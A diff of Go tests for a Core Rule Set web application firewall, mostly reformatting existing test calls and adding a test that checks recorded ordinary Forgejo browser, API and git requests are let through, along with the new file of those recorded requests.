+			matched(),
+		)
 	}
 
 	for _, target := range []string{
 		nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
 		"/x/remote.php/dav/calendars/",
 	} {
-		wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcalendar, target, nil},
+			matched(911100),
+		)
 	}
 
 	// PROPFIND, and no other WebDAV method, where a client asks for them.
 	for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
-		wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
+		wantResult(
-		wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
+			t,
+			crs,
+			request{nextcloudPropFind, target, nil},
+			matched(),
+		)
+		wantResult(
+			t,
+			crs,
+			request{nextcloudMkcol, target, nil},
+			matched(911100),
+		)
 	}
 
 	other := request{nextcloudPropFind, "/.well-known/other", nil}
@@ -603,7 +700,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 	} {
 		sent := described.sent
 
-		request, score := nextcloudBodyScore(t, crs, sent, described.description)
+		request, score := nextcloudBodyScore(
+			t,
+			crs,
+			sent,
+			described.description,
+		)
 		if score >= nextcloudThreshold {
 			t.Errorf("%s refused: %d", request, score)
 		}
@@ -625,7 +727,12 @@ func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
 		// An MKCOL on the calendars' paths skips only the rules for names.
 		sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
 
-		request, score = nextcloudBodyScore(t, crs, sent, described.description)
+		request, score = nextcloudBodyScore(
+			t,
+			crs,
+			sent,
+			described.description,
+		)
 		if score < nextcloudThreshold {
 			t.Errorf("%s let through: %d", request, score)
 		}
@@ -661,7 +768,10 @@ func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
 			[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
 		},
 	} {
-		if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
+		if got := inspect(t, crs, refused); !slices.Contains(
+			got.RuleIDs,
+			920530,
+		) {
 			t.Errorf("%s %s %q let through: %+v",
 				refused.method, refused.target, refused.headers, got)
 		}
@@ -702,7 +812,12 @@ func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
 		} {
 			got, _ := inspectBody(t, crs, refused, upload.body)
 			if got.Score < nextcloudThreshold {
-				t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
+				t.Errorf(
+					"%s %s let through: %+v",
+					refused.method,
+					refused.target,
+					got,
+				)
 			}
 		}
 	}
@@ -713,7 +828,13 @@ func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
 
 	crs := atDefaults(t)
 
-	methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
+	methods := []string{
+		http.MethodGet,
+		http.MethodPut,
+		nextcloudPropFind,
+		"MOVE",
+		"LOCK",
+	}
 
 	for _, method := range methods {
 		for _, target := range []string{
@@ -801,7 +922,13 @@ func TestNextcloudExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.body)
 		if got.Score < nextcloudThreshold {
-			t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
+			t.Errorf(
+				"%s %s %s let through: %+v",
+				sent.method,
+				sent.target,
+				sent.body,
+				got,
+			)
 		}
 	}
 }

internal/coreruleset/recorded_test.go

@@ -125,11 +125,14 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
 				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
 			}
 
-			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
+			typed := slices.ContainsFunc(
-				name, _, _ := strings.Cut(header, ":")
+				recorded.Headers,
+				func(header string) bool {
+					name, _, _ := strings.Cut(header, ":")
 
-				return strings.EqualFold(name, "Content-Type")
+					return strings.EqualFold(name, "Content-Type")
-			})
+				},
+			)
 			if recorded.Body == "" && !typed {
 				return
 			}
@@ -149,6 +152,25 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 	wantRecordedRequestsPass(t, "drupal-requests.txt")
 }
 
+// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
+// defaults only. While bodies are read, the Core Rule Set still refuses the
+// file and branch names some of them carry in a form or JSON body, as it does
+// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
+func TestOrdinaryForgejoRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
+		r := request{recorded.Method, recorded.Target, recorded.Headers}
+		if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
+			t.Errorf("%s %s refused: %+v", r.method, r.target, got)
+		}
+	}
+}
+
 func TestOrdinaryMastodonRequestsPass(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/testdata/forgejo-requests.txt

@@ -0,0 +1,683 @@
+# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
+# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
+# signed out, signed in and on the admin pages, by git over HTTP, by curl on
+# the API and the generic package registry, and by crane on the container
+# registry. Each line is one request as JSON. Names, addresses and passwords
+# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
+# multipart part that is not text is written as base64.
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
+{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
+{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
+{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
+{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
